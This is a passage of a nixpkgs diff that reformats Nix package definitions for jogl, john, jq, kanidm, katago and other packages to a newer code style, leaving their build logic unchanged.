     hash = "sha256-Pk62BpfXblRph3ktxy8eF9umRmPRZbZGjRWduy+3z+s=";
   };
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      copyDesktopItems
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    copyDesktopItems
+  ];
 
   # robotjs node-gyp dependencies
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
diff --git a/pkgs/by-name/jo/jogl/package.nix b/pkgs/by-name/jo/jogl/package.nix
index 7c66b8996345..47f441992038 100644
--- a/pkgs/by-name/jo/jogl/package.nix
+++ b/pkgs/by-name/jo/jogl/package.nix
@@ -42,40 +42,38 @@ stdenv.mkDerivation {
 
   unpackCmd = "cp -r $curSrc \${curSrc##*-}";
 
-  postPatch =
-    ''
-      substituteInPlace gluegen/src/java/com/jogamp/common/util/IOUtil.java \
-        --replace-fail '#!/bin/true' '#!${coreutils}/bin/true'
-    ''
-    # prevent looking for native libraries in /usr/lib
-    + ''
-      substituteInPlace jogl/make/build-*.xml \
-        --replace-warn 'dir="''${TARGET_PLATFORM_USRLIBS}"' ""
-    ''
-    # force way to do dysfunctional "ant -Dsetup.addNativeBroadcom=false" and disable dependency on raspberrypi drivers
-    # if arm/aarch64 support will be added, this block might be commented out on those platforms
-    # on x86 compiling with default "setup.addNativeBroadcom=true" leads to unsatisfied import "vc_dispmanx_resource_delete" in libnewt.so
-    + ''
-      xmlstarlet ed --inplace \
-        --delete '//*[@if="setup.addNativeBroadcom"]' \
-        jogl/make/build-newt.xml
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      sed -i '/if="use.macos/d' gluegen/make/gluegen-cpptasks-base.xml
-      rm -r jogl/oculusvr-sdk
-    '';
+  postPatch = ''
+    substituteInPlace gluegen/src/java/com/jogamp/common/util/IOUtil.java \
+      --replace-fail '#!/bin/true' '#!${coreutils}/bin/true'
+  ''
+  # prevent looking for native libraries in /usr/lib
+  + ''
+    substituteInPlace jogl/make/build-*.xml \
+      --replace-warn 'dir="''${TARGET_PLATFORM_USRLIBS}"' ""
+  ''
+  # force way to do dysfunctional "ant -Dsetup.addNativeBroadcom=false" and disable dependency on raspberrypi drivers
+  # if arm/aarch64 support will be added, this block might be commented out on those platforms
+  # on x86 compiling with default "setup.addNativeBroadcom=true" leads to unsatisfied import "vc_dispmanx_resource_delete" in libnewt.so
+  + ''
+    xmlstarlet ed --inplace \
+      --delete '//*[@if="setup.addNativeBroadcom"]' \
+      jogl/make/build-newt.xml
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    sed -i '/if="use.macos/d' gluegen/make/gluegen-cpptasks-base.xml
+    rm -r jogl/oculusvr-sdk
+  '';
 
-  nativeBuildInputs =
-    [
-      ant
-      jdk11
-      git
-      xmlstarlet
-      stripJavaArchivesHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      xcbuild
-    ];
+  nativeBuildInputs = [
+    ant
+    jdk11
+    git
+    xmlstarlet
+    stripJavaArchivesHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    xcbuild
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     udev
diff --git a/pkgs/by-name/jo/john/package.nix b/pkgs/by-name/jo/john/package.nix
index a9bf67e2ff67..e4953f51ffad 100644
--- a/pkgs/by-name/jo/john/package.nix
+++ b/pkgs/by-name/jo/john/package.nix
@@ -51,37 +51,36 @@ stdenv.mkDerivation {
     }' run/*.conf
   '';
 
-  preConfigure =
-    ''
-      cd src
-      # Makefile.in depends on AS and LD being set to CC, which is set by default in configure.ac.
-      # This ensures we override the environment variables set in cc-wrapper/setup-hook.sh
-      export AS=$CC
-      export LD=$CC
-    ''
-    + lib.optionalString withOpenCL ''
-      python ./opencl_generate_dynamic_loader.py  # Update opencl_dynamic_loader.c
-    '';
+  preConfigure = ''
+    cd src
+    # Makefile.in depends on AS and LD being set to CC, which is set by default in configure.ac.
+    # This ensures we override the environment variables set in cc-wrapper/setup-hook.sh
+    export AS=$CC
+    export LD=$CC
+  ''
+  + lib.optionalString withOpenCL ''
+    python ./opencl_generate_dynamic_loader.py  # Update opencl_dynamic_loader.c
+  '';
   configureFlags = [
     "--disable-native-tests"
     "--with-systemwide"
-  ] ++ lib.optionals (!enableUnfree) [ "--without-unrar" ];
+  ]
+  ++ lib.optionals (!enableUnfree) [ "--without-unrar" ];
 
-  buildInputs =
-    [
-      openssl
-      nss
-      nspr
-      libkrb5
-      gmp
-      zlib
-      libpcap
-      re2
-    ]
-    ++ lib.optionals withOpenCL [
-      opencl-headers
-      ocl-icd
-    ];
+  buildInputs = [
+    openssl
+    nss
+    nspr
+    libkrb5
+    gmp
+    zlib
+    libpcap
+    re2
+  ]
+  ++ lib.optionals withOpenCL [
+    opencl-headers
+    ocl-icd
+  ];
   nativeBuildInputs = [
     gcc
     python3Packages.wrapPython
diff --git a/pkgs/by-name/jo/jotta-cli/package.nix b/pkgs/by-name/jo/jotta-cli/package.nix
index 13282bc3b5a0..c924184d627b 100644
--- a/pkgs/by-name/jo/jotta-cli/package.nix
+++ b/pkgs/by-name/jo/jotta-cli/package.nix
@@ -18,20 +18,19 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ installShellFiles ];
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      install -Dm0755 usr/bin/jotta-cli usr/bin/jottad -t $out/bin/
+    install -Dm0755 usr/bin/jotta-cli usr/bin/jottad -t $out/bin/
 
-      runHook postInstall
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd jotta-cli \
-        --bash <($out/bin/jotta-cli completion bash) \
-        --fish <($out/bin/jotta-cli completion fish) \
-        --zsh <($out/bin/jotta-cli completion zsh)
-    '';
+    runHook postInstall
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd jotta-cli \
+      --bash <($out/bin/jotta-cli completion bash) \
+      --fish <($out/bin/jotta-cli completion fish) \
+      --zsh <($out/bin/jotta-cli completion zsh)
+  '';
 
   passthru.tests = { inherit (nixosTests) jotta-cli; };
 
diff --git a/pkgs/by-name/jq/jq/package.nix b/pkgs/by-name/jq/jq/package.nix
index 8e6928be7fbb..10ab1bf8978d 100644
--- a/pkgs/by-name/jq/jq/package.nix
+++ b/pkgs/by-name/jq/jq/package.nix
@@ -78,18 +78,17 @@ stdenv.mkDerivation rec {
     bison
   ];
 
-  configureFlags =
-    [
-      "--bindir=\${bin}/bin"
-      "--sbindir=\${bin}/bin"
-      "--datadir=\${doc}/share"
-      "--mandir=\${man}/share/man"
-    ]
-    ++ lib.optional (!onigurumaSupport) "--with-oniguruma=no"
-    # jq is linked to libjq:
-    ++ lib.optional (!stdenv.hostPlatform.isDarwin) "LDFLAGS=-Wl,-rpath,\\\${libdir}"
-    # https://github.com/jqlang/jq/issues/3252
-    ++ lib.optional stdenv.hostPlatform.isOpenBSD "CFLAGS=-D_BSD_SOURCE=1";
+  configureFlags = [
+    "--bindir=\${bin}/bin"
+    "--sbindir=\${bin}/bin"
+    "--datadir=\${doc}/share"
+    "--mandir=\${man}/share/man"
+  ]
+  ++ lib.optional (!onigurumaSupport) "--with-oniguruma=no"
+  # jq is linked to libjq:
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) "LDFLAGS=-Wl,-rpath,\\\${libdir}"
+  # https://github.com/jqlang/jq/issues/3252
+  ++ lib.optional stdenv.hostPlatform.isOpenBSD "CFLAGS=-D_BSD_SOURCE=1";
 
   # jq binary includes the whole `configureFlags` in:
   # https://github.com/jqlang/jq/commit/583e4a27188a2db097dd043dd203b9c106bba100
diff --git a/pkgs/by-name/jr/jrsonnet/package.nix b/pkgs/by-name/jr/jrsonnet/package.nix
index 4c646a9bac5f..67353bd87784 100644
--- a/pkgs/by-name/jr/jrsonnet/package.nix
+++ b/pkgs/by-name/jr/jrsonnet/package.nix
@@ -27,19 +27,18 @@ rustPlatform.buildRustPackage rec {
     "--skip=tests::native_ext"
   ];
 
-  postInstall =
-    ''
-      ln -s $out/bin/jrsonnet $out/bin/jsonnet
+  postInstall = ''
+    ln -s $out/bin/jrsonnet $out/bin/jsonnet
 
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      for shell in bash zsh fish; do
-        installShellCompletion --cmd jrsonnet \
-          --$shell <($out/bin/jrsonnet --generate $shell /dev/null)
-        installShellCompletion --cmd jsonnet \
-          --$shell <($out/bin/jrsonnet --generate $shell /dev/null | sed s/jrsonnet/jsonnet/g)
-      done
-    '';
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    for shell in bash zsh fish; do
+      installShellCompletion --cmd jrsonnet \
+        --$shell <($out/bin/jrsonnet --generate $shell /dev/null)
+      installShellCompletion --cmd jsonnet \
+        --$shell <($out/bin/jrsonnet --generate $shell /dev/null | sed s/jrsonnet/jsonnet/g)
+    done
+  '';
 
   meta = with lib; {
     description = "Purely-functional configuration language that helps you define JSON data";
diff --git a/pkgs/by-name/js/json-glib/package.nix b/pkgs/by-name/js/json-glib/package.nix
index 9d3d054c6a05..465138840e90 100644
--- a/pkgs/by-name/js/json-glib/package.nix
+++ b/pkgs/by-name/js/json-glib/package.nix
@@ -29,7 +29,8 @@ stdenv.mkDerivation rec {
     "out"
     "dev"
     "installedTests"
-  ] ++ lib.optional withIntrospection "devdoc";
+  ]
+  ++ lib.optional withIntrospection "devdoc";
 
   src = fetchurl {
     url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
@@ -47,26 +48,25 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      docutils # for rst2man, rst2html5
-      meson
-      ninja
-      pkg-config
-      gettext
-      glib
-      libxslt
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      gi-docgen
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    docutils # for rst2man, rst2html5
+    meson
+    ninja
+    pkg-config
+    gettext
+    glib
+    libxslt
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    gi-docgen
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   propagatedBuildInputs = [
     glib
diff --git a/pkgs/by-name/js/jsoncpp/package.nix b/pkgs/by-name/js/jsoncpp/package.nix
index 0ca65befe5f8..729dd5408735 100644
--- a/pkgs/by-name/js/jsoncpp/package.nix
+++ b/pkgs/by-name/js/jsoncpp/package.nix
@@ -45,20 +45,19 @@ stdenv.mkDerivation rec {
     validatePkgConfig
   ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS=ON"
-      "-DBUILD_OBJECT_LIBS=OFF"
-      "-DJSONCPP_WITH_CMAKE_PACKAGE=ON"
-      "-DBUILD_STATIC_LIBS=${if enableStatic then "ON" else "OFF"}"
-    ]
-    # the test's won't compile if secureMemory is used because there is no
-    # comparison operators and conversion functions between
-    # std::basic_string<..., Json::SecureAllocator<char>> vs.
-    # std::basic_string<..., [default allocator]>
-    ++ lib.optional (
-      (stdenv.buildPlatform != stdenv.hostPlatform) || secureMemory
-    ) "-DJSONCPP_WITH_TESTS=OFF";
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS=ON"
+    "-DBUILD_OBJECT_LIBS=OFF"
+    "-DJSONCPP_WITH_CMAKE_PACKAGE=ON"
+    "-DBUILD_STATIC_LIBS=${if enableStatic then "ON" else "OFF"}"
+  ]
+  # the test's won't compile if secureMemory is used because there is no
+  # comparison operators and conversion functions between
+  # std::basic_string<..., Json::SecureAllocator<char>> vs.
+  # std::basic_string<..., [default allocator]>
+  ++ lib.optional (
+    (stdenv.buildPlatform != stdenv.hostPlatform) || secureMemory
+  ) "-DJSONCPP_WITH_TESTS=OFF";
 
   meta = with lib; {
     homepage = "https://github.com/open-source-parsers/jsoncpp";
diff --git a/pkgs/by-name/js/jsonnet/package.nix b/pkgs/by-name/js/jsonnet/package.nix
index 4d7136f01eb1..b1f40c5252a0 100644
--- a/pkgs/by-name/js/jsonnet/package.nix
+++ b/pkgs/by-name/js/jsonnet/package.nix
@@ -28,14 +28,13 @@ stdenv.mkDerivation rec {
   ];
   buildInputs = [ gtest ];
 
-  cmakeFlags =
-    [
-      "-DUSE_SYSTEM_GTEST=ON"
-      "-DBUILD_STATIC_LIBS=${if stdenv.hostPlatform.isStatic then "ON" else "OFF"}"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      "-DBUILD_SHARED_BINARIES=${if stdenv.hostPlatform.isStatic then "OFF" else "ON"}"
-    ];
+  cmakeFlags = [
+    "-DUSE_SYSTEM_GTEST=ON"
+    "-DBUILD_STATIC_LIBS=${if stdenv.hostPlatform.isStatic then "ON" else "OFF"}"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    "-DBUILD_SHARED_BINARIES=${if stdenv.hostPlatform.isStatic then "OFF" else "ON"}"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ju/juce/package.nix b/pkgs/by-name/ju/juce/package.nix
index f2a5779e737d..27fdc4164164 100644
--- a/pkgs/by-name/ju/juce/package.nix
+++ b/pkgs/by-name/ju/juce/package.nix
@@ -55,30 +55,29 @@ stdenv.mkDerivation (finalAttrs: {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      freetype # libfreetype.so
-      curl # libcurl.so
-      (lib.getLib stdenv.cc.cc) # libstdc++.so libgcc_s.so
-      pcre2 # libpcre2.pc
-      libsysprof-capture
-      libthai
-      libdatrie
-      lerc
-      libepoxy
-      sqlite
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib # libasound.so
-      libglvnd # libGL.so
-      webkitgtk_4_1 # webkit2gtk-4.0
-      util-linuxMinimal
-      libselinux
-      libsepol
-      libXdmcp
-      libxkbcommon
-      libXtst
-    ];
+  buildInputs = [
+    freetype # libfreetype.so
+    curl # libcurl.so
+    (lib.getLib stdenv.cc.cc) # libstdc++.so libgcc_s.so
+    pcre2 # libpcre2.pc
+    libsysprof-capture
+    libthai
+    libdatrie
+    lerc
+    libepoxy
+    sqlite
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib # libasound.so
+    libglvnd # libGL.so
+    webkitgtk_4_1 # webkit2gtk-4.0
+    util-linuxMinimal
+    libselinux
+    libsepol
+    libXdmcp
+    libxkbcommon
+    libXtst
+  ];
 
   propagatedBuildInputs = [ fontconfig ];
 
diff --git a/pkgs/by-name/ju/jujutsu/package.nix b/pkgs/by-name/ju/jujutsu/package.nix
index 6a46439566f6..9029d54110f9 100644
--- a/pkgs/by-name/ju/jujutsu/package.nix
+++ b/pkgs/by-name/ju/jujutsu/package.nix
@@ -39,7 +39,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
   buildInputs = [
     libgit2
     libssh2
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ openssl ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ openssl ];
 
   nativeCheckInputs = [
     git
diff --git a/pkgs/by-name/ju/julius/package.nix b/pkgs/by-name/ju/julius/package.nix
index 2d9cec42ba95..81b48a28771f 100644
--- a/pkgs/by-name/ju/julius/package.nix
+++ b/pkgs/by-name/ju/julius/package.nix
@@ -27,15 +27,14 @@ stdenv.mkDerivation rec {
     ./darwin-fixes.patch
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      darwin.sigtool
-      libicns
-      imagemagick
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    darwin.sigtool
+    libicns
+    imagemagick
+  ];
 
   buildInputs = [
     SDL2
diff --git a/pkgs/by-name/ju/jumpy/package.nix b/pkgs/by-name/ju/jumpy/package.nix
index 5c2ac20a8e82..ce5738d39b41 100644
--- a/pkgs/by-name/ju/jumpy/package.nix
+++ b/pkgs/by-name/ju/jumpy/package.nix
@@ -33,24 +33,23 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      zstd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libxkbcommon
-      udev
-      vulkan-loader
-      wayland
-      xorg.libX11
-      xorg.libXcursor
-      xorg.libXi
-      xorg.libXrandr
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      rustPlatform.bindgenHook
-    ];
+  buildInputs = [
+    zstd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libxkbcommon
+    udev
+    vulkan-loader
+    wayland
+    xorg.libX11
+    xorg.libXcursor
+    xorg.libXi
+    xorg.libXrandr
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    rustPlatform.bindgenHook
+  ];
 
   cargoBuildFlags = [
     "--bin"
diff --git a/pkgs/by-name/ju/just/package.nix b/pkgs/by-name/ju/just/package.nix
index 5dc6b20ede02..b43c24226ac8 100644
--- a/pkgs/by-name/ju/just/package.nix
+++ b/pkgs/by-name/ju/just/package.nix
@@ -20,14 +20,13 @@
 rustPlatform.buildRustPackage rec {
   pname = "just";
   version = "1.40.0";
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals installManPages [
-      "man"
-    ]
-    ++ lib.optionals withDocumentation [ "doc" ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals installManPages [
+    "man"
+  ]
+  ++ lib.optionals withDocumentation [ "doc" ];
 
   src = fetchFromGitHub {
     owner = "casey";
@@ -72,7 +71,8 @@ rustPlatform.buildRustPackage rec {
 
   cargoBuildFlags = [
     "--package=just"
-  ] ++ (lib.optionals withDocumentation [ "--package=generate-book" ]);
+  ]
+  ++ (lib.optionals withDocumentation [ "--package=generate-book" ]);
 
   checkFlags = [
     "--skip=backticks::trailing_newlines_are_stripped" # Wants to use python3 as alternate shell
diff --git a/pkgs/by-name/ju/justbuild/package.nix b/pkgs/by-name/ju/justbuild/package.nix
index 37a9b5b01ef6..c234a19b69ac 100644
--- a/pkgs/by-name/ju/justbuild/package.nix
+++ b/pkgs/by-name/ju/justbuild/package.nix
@@ -85,20 +85,19 @@ stdenv.mkDerivation rec {
     python3
   ];
 
-  postPatch =
-    ''
-      sed -i -e 's|\./bin/just-mr.py|${python3}/bin/python3 ./bin/just-mr.py|' bin/bootstrap.py
-      sed -i -e 's|#!/usr/bin/env python3|#!${python3}/bin/python3|' bin/parallel-bootstrap-traverser.py
-      jq '.repositories.protobuf.pkg_bootstrap.local_path = "${protobuf}"' etc/repos.json > etc/repos.json.patched
-      mv etc/repos.json.patched etc/repos.json
-      jq '.repositories.com_github_grpc_grpc.pkg_bootstrap.local_path = "${grpc}"' etc/repos.json > etc/repos.json.patched
-      mv etc/repos.json.patched etc/repos.json
-      jq '.unknown.PATH = []' etc/toolchain/CC/TARGETS > etc/toolchain/CC/TARGETS.patched
-      mv etc/toolchain/CC/TARGETS.patched etc/toolchain/CC/TARGETS
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      sed -i -e 's|-Wl,-z,stack-size=8388608|-Wl,-stack_size,0x800000|' bin/bootstrap.py
-    '';
+  postPatch = ''
+    sed -i -e 's|\./bin/just-mr.py|${python3}/bin/python3 ./bin/just-mr.py|' bin/bootstrap.py
+    sed -i -e 's|#!/usr/bin/env python3|#!${python3}/bin/python3|' bin/parallel-bootstrap-traverser.py
+    jq '.repositories.protobuf.pkg_bootstrap.local_path = "${protobuf}"' etc/repos.json > etc/repos.json.patched
+    mv etc/repos.json.patched etc/repos.json
+    jq '.repositories.com_github_grpc_grpc.pkg_bootstrap.local_path = "${grpc}"' etc/repos.json > etc/repos.json.patched
+    mv etc/repos.json.patched etc/repos.json
+    jq '.unknown.PATH = []' etc/toolchain/CC/TARGETS > etc/toolchain/CC/TARGETS.patched
+    mv etc/toolchain/CC/TARGETS.patched etc/toolchain/CC/TARGETS
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    sed -i -e 's|-Wl,-z,stack-size=8388608|-Wl,-stack_size,0x800000|' bin/bootstrap.py
+  '';
 
   /*
     The build phase follows the bootstrap procedure that is explained in
diff --git a/pkgs/by-name/ka/kafka-delta-ingest/package.nix b/pkgs/by-name/ka/kafka-delta-ingest/package.nix
index 2ae7edfb8bd9..26e6e1b1181b 100644
--- a/pkgs/by-name/ka/kafka-delta-ingest/package.nix
+++ b/pkgs/by-name/ka/kafka-delta-ingest/package.nix
@@ -29,12 +29,11 @@ rustPlatform.buildRustPackage {
     perl
   ];
 
-  buildFeatures =
-    [
-      "dynamic-linking"
-    ]
-    ++ lib.optional enableS3 "s3"
-    ++ lib.optional enableAzure "azure";
+  buildFeatures = [
+    "dynamic-linking"
+  ]
+  ++ lib.optional enableS3 "s3"
+  ++ lib.optional enableAzure "azure";
 
   buildInputs = [
     openssl
diff --git a/pkgs/by-name/ka/kahip/package.nix b/pkgs/by-name/ka/kahip/package.nix
index 19b79ba4ac33..17f12f7725aa 100644
--- a/pkgs/by-name/ka/kahip/package.nix
+++ b/pkgs/by-name/ka/kahip/package.nix
@@ -28,12 +28,13 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  nativeBuildInputs =
-    [ cmake ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.python
-      python3Packages.pybind11
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.python
+    python3Packages.pybind11
+  ];
 
   buildInputs = [
     mpi
diff --git a/pkgs/by-name/ka/kana/package.nix b/pkgs/by-name/ka/kana/package.nix
index fc4d2aa1b860..93fe877665f6 100644
--- a/pkgs/by-name/ka/kana/package.nix
+++ b/pkgs/by-name/ka/kana/package.nix
@@ -43,16 +43,15 @@ stdenv.mkDerivation rec {
     desktop-file-utils
   ];
 
-  buildInputs =
-    [
-      libadwaita
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-bad
-      gst-plugins-good
-    ]);
+  buildInputs = [
+    libadwaita
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-bad
+    gst-plugins-good
+  ]);
 
   # Workaround for the gettext-sys issue
   # https://github.com/Koka/gettext-rs/issues/114
diff --git a/pkgs/by-name/ka/kando/package.nix b/pkgs/by-name/ka/kando/package.nix
index 6132c44268cf..4721a905462c 100644
--- a/pkgs/by-name/ka/kando/package.nix
+++ b/pkgs/by-name/ka/kando/package.nix
@@ -38,16 +38,15 @@ buildNpmPackage rec {
 
   makeCacheWritable = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      zip
-      makeWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wayland-scanner
-      copyDesktopItems
-    ];
+  nativeBuildInputs = [
+    cmake
+    zip
+    makeWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wayland-scanner
+    copyDesktopItems
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     libxkbcommon
diff --git a/pkgs/by-name/ka/kanidm/generic.nix b/pkgs/by-name/ka/kanidm/generic.nix
index 08ac4c490901..58599b4bcd9a 100644
--- a/pkgs/by-name/ka/kanidm/generic.nix
+++ b/pkgs/by-name/ka/kanidm/generic.nix
@@ -60,27 +60,26 @@ rustPlatform.buildRustPackage rec {
     let
       format = (formats.toml { }).generate "${KANIDM_BUILD_PROFILE}.toml";
       socket_path = if stdenv.hostPlatform.isLinux then "/run/kanidmd/sock" else "/var/run/kanidm.socket";
-      profile =
-        {
-          cpu_flags = if stdenv.hostPlatform.isx86_64 then "x86_64_legacy" else "none";
-        }
-        // lib.optionalAttrs (lib.versionAtLeast version "1.5") {
-          client_config_path = "/etc/kanidm/config";
-          resolver_config_path = "/etc/kanidm/unixd";
-          resolver_unix_shell_path = "${lib.getBin bashInteractive}/bin/bash";
-          server_admin_bind_path = socket_path;
-          server_config_path = "/etc/kanidm/server.toml";
-          server_ui_pkg_path = "@htmx_ui_pkg_path@";
-        }
-        // lib.optionalAttrs (lib.versionOlder version "1.5") {
-          admin_bind_path = socket_path;
-          default_config_path = "/etc/kanidm/server.toml";
-          default_unix_shell_path = "${lib.getBin bashInteractive}/bin/bash";
-          htmx_ui_pkg_path = "@htmx_ui_pkg_path@";
-        }
-        // lib.optionalAttrs (lib.versions.majorMinor version == "1.3") {
-          web_ui_pkg_path = "@web_ui_pkg_path@";
-        };
+      profile = {
+        cpu_flags = if stdenv.hostPlatform.isx86_64 then "x86_64_legacy" else "none";
+      }
+      // lib.optionalAttrs (lib.versionAtLeast version "1.5") {
+        client_config_path = "/etc/kanidm/config";
+        resolver_config_path = "/etc/kanidm/unixd";
+        resolver_unix_shell_path = "${lib.getBin bashInteractive}/bin/bash";
+        server_admin_bind_path = socket_path;
+        server_config_path = "/etc/kanidm/server.toml";
+        server_ui_pkg_path = "@htmx_ui_pkg_path@";
+      }
+      // lib.optionalAttrs (lib.versionOlder version "1.5") {
+        admin_bind_path = socket_path;
+        default_config_path = "/etc/kanidm/server.toml";
+        default_unix_shell_path = "${lib.getBin bashInteractive}/bin/bash";
+        htmx_ui_pkg_path = "@htmx_ui_pkg_path@";
+      }
+      // lib.optionalAttrs (lib.versions.majorMinor version == "1.3") {
+        web_ui_pkg_path = "@web_ui_pkg_path@";
+      };
     in
     ''
       cp ${format profile} libs/profiles/${KANIDM_BUILD_PROFILE}.toml
@@ -95,26 +94,24 @@ rustPlatform.buildRustPackage rec {
     installShellFiles
   ];
 
-  buildInputs =
-    [
-      openssl
-      sqlite
-      pam
-      rust-jemalloc-sys
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      udev
-    ];
+  buildInputs = [
+    openssl
+    sqlite
+    pam
+    rust-jemalloc-sys
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    udev
+  ];
 
   # The UI needs to be in place before the tests are run.
-  postBuild =
-    ''
-      mkdir -p $out/ui
-      cp -r server/core/static $out/ui/hpkg
-    ''
-    + lib.optionalString (lib.versions.majorMinor version == "1.3") ''
-      cp -r server/web_ui/pkg $out/ui/pkg
-    '';
+  postBuild = ''
+    mkdir -p $out/ui
+    cp -r server/core/static $out/ui/hpkg
+  ''
+  + lib.optionalString (lib.versions.majorMinor version == "1.3") ''
+    cp -r server/web_ui/pkg $out/ui/pkg
+  '';
 
   # Upstream runs with the Rust equivalent of -Werror,
   # which breaks when we upgrade to new Rust before them.
@@ -129,17 +126,16 @@ rustPlatform.buildRustPackage rec {
     ''profile.release.lto="off"''
   ];
 
-  preFixup =
-    ''
-      installShellCompletion \
-        --bash $releaseDir/build/completions/*.bash \
-        --zsh $releaseDir/build/completions/_*
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      # PAM and NSS need fix library names
-      mv $out/lib/libnss_kanidm.so $out/lib/libnss_kanidm.so.2
-      mv $out/lib/libpam_kanidm.so $out/lib/pam_kanidm.so
-    '';
+  preFixup = ''
+    installShellCompletion \
+      --bash $releaseDir/build/completions/*.bash \
+      --zsh $releaseDir/build/completions/_*
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    # PAM and NSS need fix library names
+    mv $out/lib/libnss_kanidm.so $out/lib/libnss_kanidm.so.2
+    mv $out/lib/libpam_kanidm.so $out/lib/pam_kanidm.so
+  '';
 
   passthru = {
     tests = {
diff --git a/pkgs/by-name/ka/kapacitor/package.nix b/pkgs/by-name/ka/kapacitor/package.nix
index dacbcf2b4432..1c294d5e3fcb 100644
--- a/pkgs/by-name/ka/kapacitor/package.nix
+++ b/pkgs/by-name/ka/kapacitor/package.nix
@@ -55,16 +55,15 @@ let
       Libs: -L/out/lib -lflux -lpthread
     '';
     passAsFile = [ "pkgcfg" ];
-    postInstall =
-      ''
-        mkdir -p $out/include $out/pkgconfig
-        cp -r $NIX_BUILD_TOP/source/libflux/include/influxdata $out/include
-        substitute $pkgcfgPath $out/pkgconfig/flux.pc \
-          --replace-fail /out $out
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        install_name_tool -id $out/lib/libflux.dylib $out/lib/libflux.dylib
-      '';
+    postInstall = ''
+      mkdir -p $out/include $out/pkgconfig
+      cp -r $NIX_BUILD_TOP/source/libflux/include/influxdata $out/include
+      substitute $pkgcfgPath $out/pkgconfig/flux.pc \
+        --replace-fail /out $out
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      install_name_tool -id $out/lib/libflux.dylib $out/lib/libflux.dylib
+    '';
   };
 in
 buildGoModule rec {
diff --git a/pkgs/by-name/ka/katago/package.nix b/pkgs/by-name/ka/katago/package.nix
index f4b32cdeae8e..d580be37282d 100644
--- a/pkgs/by-name/ka/katago/package.nix
+++ b/pkgs/by-name/ka/katago/package.nix
@@ -61,71 +61,67 @@ stdenv'.mkDerivation rec {
     makeWrapper
   ];
 
-  buildInputs =
